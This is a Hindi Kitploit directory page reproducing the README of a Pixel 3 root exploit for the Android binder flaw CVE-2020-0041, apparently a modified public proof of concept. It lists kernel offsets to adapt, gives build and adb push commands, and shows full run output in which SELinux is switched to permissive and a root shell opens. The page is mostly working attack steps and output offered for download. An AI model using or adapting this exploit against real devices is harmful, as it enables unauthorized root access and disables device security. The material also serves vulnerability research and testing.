Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
root-exploit-pixel3 — Pixel 3 के लिए अनुकूलित CVE-2020-0041 रूट एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/jcalabres/root-exploit-pixel3
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेनिट्रेशन टेस्टिंगबाइनरी शोषण
GitHubjcalabres/root-exploit-pixel3

root-exploit-pixel3

Pixel 3 के लिए अनुकूलित CVE-2020-0041 रूट एक्सप्लॉइट

रिपॉजिटरी देखें
1352 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Pixel 3 परिवार के लिए रूट शोषण

इस फ़ोल्डर में एक स्थानीय विशेषाधिकार वृद्धि शोषण है, जो CVE-2020-0041 के लिए bluefrostsecurity PoC का संशोधन है। यह शोषण SELinux को अक्षम करता है और फिर एक रूट शेल लॉन्च करता है।

  • शोषण को फरवरी 2020 फर्मवेयर (QQ1A.200205.002) चलाने वाले Pixel 3 डिवाइस के लिए हार्डकोडेड ऑफ़सेट के साथ प्रदान किया गया था। नीचे दिए गए चरणों का पालन करके शोषण को किसी भी Pixel 3 डिवाइस के लिए अनुकूलित किया जा सकता है।

  • रूट उपयोगकर्ता सीमाओं से बचने के लिए कुछ बदलाव किए गए हैं (मूल शोषण उपयोग योग्य नहीं है)।

शोषण को अनुकूलित करना

  1. किसी भी Pixel 3 डिवाइस के लिए शोषण को अनुकूलित करने के लिए, विशिष्ट कमजोर फर्मवेयर (QQ1A.200205.002) को आधिकारिक वेबसाइट developer android images से डाउनलोड करना होगा।

  2. बाद में, boot.img को zImage में बदलें। ऐसा करने के लिए, abootimg का उपयोग करें।

root@kitploit:~
./abootimg -x [path_to_boot_img]

उत्पादित zImage, एक इमेज है जिसमें संपीड़ित Android कर्नेल होता है।

  1. कर्नेल की एक असम्पीडित इमेज प्राप्त करने के लिए जिसमें सही प्रतीक और ऑफ़सेट हों, vmlinux-to-elf टूल का उपयोग करें।
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. exploit.c में पाए गए शोषण ऑफ़सेट से संबंधित लेबल खोजने के लिए अपनी पसंद का एक डिसअसेंबलर उपयोग करें:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. exploit.c को सही ऑफ़सेट के साथ संरेखित करें।

  2. लाभ :)

शोषण का परीक्षण

शोषण को केवल पथ में Android NDK के साथ "make" चलाकर बनाया जा सकता है (आप libs/arm64-v8a पथ से poc बाइनरी भी ले सकते हैं)। इसे "make all push" करके एडीबी से जुड़े फोन पर भी पुश किया जा सकता है (संक्षिप्तता के लिए चेतावनियां हटाई गई हैं):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

अब एडीबी शेल से /data/local/tmp/poc चलाकर शोषण को क्रियान्वित होते देखें:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
टूल डाउनलोड करें